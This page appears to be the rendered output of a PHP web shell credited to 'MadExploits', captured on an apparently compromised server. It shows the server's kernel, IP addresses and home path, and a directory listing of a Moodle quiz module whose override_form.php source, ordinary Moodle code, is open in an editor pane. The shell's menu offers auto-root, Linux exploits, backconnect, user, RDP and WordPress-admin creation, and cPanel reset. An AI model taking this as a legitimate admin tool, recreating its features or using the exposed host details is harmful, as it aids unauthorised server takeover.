Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.59.192
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
quiz /
[ HOME SHELL ]
Name
Size
Permission
Action
accessrule
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
report
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
yui
[ DIR ]
drwxr-xr-x
accessmanager.php
19.94
KB
-rw-r--r--
accessmanager_form.php
2.42
KB
-rw-r--r--
addrandom.php
4.93
KB
-rw-r--r--
addrandomform.php
5.66
KB
-rw-r--r--
attempt.php
5.11
KB
-rw-r--r--
attemptlib.php
105.08
KB
-rw-r--r--
autosave.ajax.php
2.48
KB
-rw-r--r--
comment.php
5.06
KB
-rw-r--r--
cronlib.php
4.73
KB
-rw-r--r--
edit.php
7.94
KB
-rw-r--r--
edit_rest.php
9.22
KB
-rw-r--r--
editrandom.php
6.11
KB
-rw-r--r--
grade.php
3.52
KB
-rw-r--r--
index.php
5.88
KB
-rw-r--r--
lib.php
88.98
KB
-rw-r--r--
locallib.php
97.47
KB
-rw-r--r--
mod_form.php
31
KB
-rw-r--r--
module.js
11.33
KB
-rw-r--r--
override_form.php
10.76
KB
-rw-r--r--
overridedelete.php
3.61
KB
-rw-r--r--
overrideedit.php
7.69
KB
-rw-r--r--
overrides.php
10.7
KB
-rw-r--r--
processattempt.php
3.51
KB
-rw-r--r--
renderer.php
54.83
KB
-rw-r--r--
repaginate.php
1.94
KB
-rw-r--r--
report.php
3.5
KB
-rw-r--r--
review.php
9.31
KB
-rw-r--r--
reviewquestion.php
4.31
KB
-rw-r--r--
settings.php
12.49
KB
-rw-r--r--
startattempt.php
4.33
KB
-rw-r--r--
styles.css
24.94
KB
-rw-r--r--
summary.php
3.54
KB
-rw-r--r--
upgrade.txt
9.18
KB
-rw-r--r--
version.php
1.02
KB
-rw-r--r--
view.php
9.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : override_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Settings form for overrides in the quiz module. * * @package mod_quiz * @copyright 2010 Matt Petro * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir . '/formslib.php'); require_once($CFG->dirroot . '/mod/quiz/mod_form.php'); /** * Form for editing settings overrides. * * @copyright 2010 Matt Petro * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class quiz_override_form extends moodleform { /** @var object course module object. */ protected $cm; /** @var object the quiz settings object. */ protected $quiz; /** @var context the quiz context. */ protected $context; /** @var bool editing group override (true) or user override (false). */ protected $groupmode; /** @var int groupid, if provided. */ protected $groupid; /** @var int userid, if provided. */ protected $userid; /** * Constructor. * @param moodle_url $submiturl the form action URL. * @param object course module object. * @param object the quiz settings object. * @param context the quiz context. * @param bool editing group override (true) or user override (false). * @param object $override the override being edited, if it already exists. */ public function __construct($submiturl, $cm, $quiz, $context, $groupmode, $override) { $this->cm = $cm; $this->quiz = $quiz; $this->context = $context; $this->groupmode = $groupmode; $this->groupid = empty($override->groupid) ? 0 : $override->groupid; $this->userid = empty($override->userid) ? 0 : $override->userid; parent::__construct($submiturl, null, 'post'); } protected function definition() { global $DB; $cm = $this->cm; $mform = $this->_form; $mform->addElement('header', 'override', get_string('override', 'quiz')); $quizgroupmode = groups_get_activity_groupmode($cm); $accessallgroups = ($quizgroupmode == NOGROUPS) || has_capability('moodle/site:accessallgroups', $this->context); if ($this->groupmode) { // Group override. if ($this->groupid) { // There is already a groupid, so freeze the selector. $groupchoices = array(); $groupchoices[$this->groupid] = groups_get_group_name($this->groupid); $mform->addElement('select', 'groupid', get_string('overridegroup', 'quiz'), $groupchoices); $mform->freeze('groupid'); } else { // Prepare the list of groups. // Only include the groups the current can access. $groups = $accessallgroups ? groups_get_all_groups($cm->course) : groups_get_activity_allowed_groups($cm); if (empty($groups)) { // Generate an error. $link = new moodle_url('/mod/quiz/overrides.php', array('cmid'=>$cm->id)); print_error('groupsnone', 'quiz', $link); } $groupchoices = array(); foreach ($groups as $group) { $groupchoices[$group->id] = $group->name; } unset($groups); if (count($groupchoices) == 0) { $groupchoices[0] = get_string('none'); } $mform->addElement('select', 'groupid', get_string('overridegroup', 'quiz'), $groupchoices); $mform->addRule('groupid', get_string('required'), 'required', null, 'client'); } } else { // User override. if ($this->userid) { // There is already a userid, so freeze the selector. $user = $DB->get_record('user', array('id'=>$this->userid)); $userchoices = array(); $userchoices[$this->userid] = fullname($user); $mform->addElement('select', 'userid', get_string('overrideuser', 'quiz'), $userchoices); $mform->freeze('userid'); } else { // Prepare the list of users. $users = array(); list($sort, $sortparams) = users_order_by_sql('u'); if (!empty($sortparams)) { throw new coding_exception('users_order_by_sql returned some query parameters. ' . 'This is unexpected, and a problem because there is no way to pass these ' . 'parameters to get_users_by_capability. See MDL-34657.'); } // Get the list of appropriate users, depending on whether and how groups are used. if ($accessallgroups) { $users = get_users_by_capability($this->context, 'mod/quiz:attempt', 'u.id, u.email, ' . get_all_user_name_fields(true, 'u'), $sort); } else if ($groups = groups_get_activity_allowed_groups($cm)) { $users = get_users_by_capability($this->context, 'mod/quiz:attempt', 'u.id, u.email, ' . get_all_user_name_fields(true, 'u'), $sort, '', '', array_keys($groups)); } // Filter users based on any fixed restrictions (groups, profile). $info = new \core_availability\info_module($cm); $users = $info->filter_user_list($users); if (empty($users)) { // Generate an error. $link = new moodle_url('/mod/quiz/overrides.php', array('cmid'=>$cm->id)); print_error('usersnone', 'quiz', $link); } $userchoices = array(); $canviewemail = in_array('email', get_extra_user_fields($this->context)); foreach ($users as $id => $user) { if (empty($invalidusers[$id]) || (!empty($override) && $id == $override->userid)) { if ($canviewemail) { $userchoices[$id] = fullname($user) . ', ' . $user->email; } else { $userchoices[$id] = fullname($user); } } } unset($users); $mform->addElement('searchableselector', 'userid', get_string('overrideuser', 'quiz'), $userchoices); $mform->addRule('userid', get_string('required'), 'required', null, 'client'); } } // Password. // This field has to be above the date and timelimit fields, // otherwise browsers will clear it when those fields are changed. $mform->addElement('passwordunmask', 'password', get_string('requirepassword', 'quiz')); $mform->setType('password', PARAM_TEXT); $mform->addHelpButton('password', 'requirepassword', 'quiz'); $mform->setDefault('password', $this->quiz->password); // Open and close dates. $mform->addElement('date_time_selector', 'timeopen', get_string('quizopen', 'quiz'), mod_quiz_mod_form::$datefieldoptions); $mform->setDefault('timeopen', $this->quiz->timeopen); $mform->addElement('date_time_selector', 'timeclose', get_string('quizclose', 'quiz'), mod_quiz_mod_form::$datefieldoptions); $mform->setDefault('timeclose', $this->quiz->timeclose); // Time limit. $mform->addElement('duration', 'timelimit', get_string('timelimit', 'quiz'), array('optional' => true)); $mform->addHelpButton('timelimit', 'timelimit', 'quiz'); $mform->setDefault('timelimit', $this->quiz->timelimit); // Number of attempts. $attemptoptions = array('0' => get_string('unlimited')); for ($i = 1; $i <= QUIZ_MAX_ATTEMPT_OPTION; $i++) { $attemptoptions[$i] = $i; } $mform->addElement('select', 'attempts', get_string('attemptsallowed', 'quiz'), $attemptoptions); $mform->addHelpButton('attempts', 'attempts', 'quiz'); $mform->setDefault('attempts', $this->quiz->attempts); // Submit buttons. $mform->addElement('submit', 'resetbutton', get_string('reverttodefaults', 'quiz')); $buttonarray = array(); $buttonarray[] = $mform->createElement('submit', 'submitbutton', get_string('save', 'quiz')); $buttonarray[] = $mform->createElement('submit', 'againbutton', get_string('saveoverrideandstay', 'quiz')); $buttonarray[] = $mform->createElement('cancel'); $mform->addGroup($buttonarray, 'buttonbar', '', array(' '), false); $mform->closeHeaderBefore('buttonbar'); } public function validation($data, $files) { $errors = parent::validation($data, $files); $mform =& $this->_form; $quiz = $this->quiz; if ($mform->elementExists('userid')) { if (empty($data['userid'])) { $errors['userid'] = get_string('required'); } } if ($mform->elementExists('groupid')) { if (empty($data['groupid'])) { $errors['groupid'] = get_string('required'); } } // Ensure that the dates make sense. if (!empty($data['timeopen']) && !empty($data['timeclose'])) { if ($data['timeclose'] < $data['timeopen'] ) { $errors['timeclose'] = get_string('closebeforeopen', 'quiz'); } } // Ensure that at least one quiz setting was changed. $changed = false; $keys = array('timeopen', 'timeclose', 'timelimit', 'attempts', 'password'); foreach ($keys as $key) { if ($data[$key] != $quiz->{$key}) { $changed = true; break; } } if (!$changed) { $errors['timeopen'] = get_string('nooverridedata', 'quiz'); } return $errors; } }
Close